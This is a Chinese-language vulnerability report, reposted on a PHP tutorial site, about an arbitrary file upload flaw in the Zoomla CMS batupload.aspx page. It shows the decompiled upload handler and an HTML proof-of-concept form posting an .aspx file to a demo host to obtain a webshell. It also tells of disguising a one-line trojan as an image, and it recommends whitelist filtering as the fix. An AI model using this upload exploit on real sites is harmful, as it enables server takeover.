来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 没有对上传文件类型进行判断,可直接上传动态脚本获取webshell从官网下载cms代码 在源码目录下的edit目录下batupload aspx文件通过反编译看到源码如下protected void Page_Load(object sender, EventA...
没有对上传文件类型进行判断,可直接上传动态脚本获取webshell
通过反编译看到源码如下
protected void Page_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(base.Request.QueryString["case"])) { string str = base.Server.UrlDecode(base.Request.QueryString["case"]); if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str))) { Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str)); } string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/"); base.Response.Clear(); string str3 = base.Request.Params["ID"]; string str4 = "test"; if (!string.IsNullOrEmpty(str3)) { str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]); } string str5 = base.Request.Params["DocType"]; str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]); base.Server.UrlDecode(base.Request.Params["content"]); if (str5 == "") { str5 = "doc"; } str5 = str5.Substring(0, 3); if (base.Request.Files.Count > 0) { HttpPostedFile file = base.Request.Files[0]; int contentLength = file.ContentLength; byte[] buffer = new byte[contentLength]; file.InputStream.Read(buffer, 0, contentLength); if (!File.Exists(str2 + str4)) { using (File.Create(str2 + str4)) { } } File.WriteAllBytes(str2 + str4, buffer); } base.Response.ContentType = "text/plain"; base.Response.Write("Complete"); base.Response.Flush(); base.Response.End(); } }
DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了
上传poc
<html> <head><title>xss</title></head> <form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="hidden" name="DocTitle" value="111111.aspx" /> <input type="hidden" name="DocType" value="12345" /> <input type="submit" /> </form> </html>
如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了
QQ截图20140102214227.png
修复方案:
对上传文件的类型进行白名单过滤
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com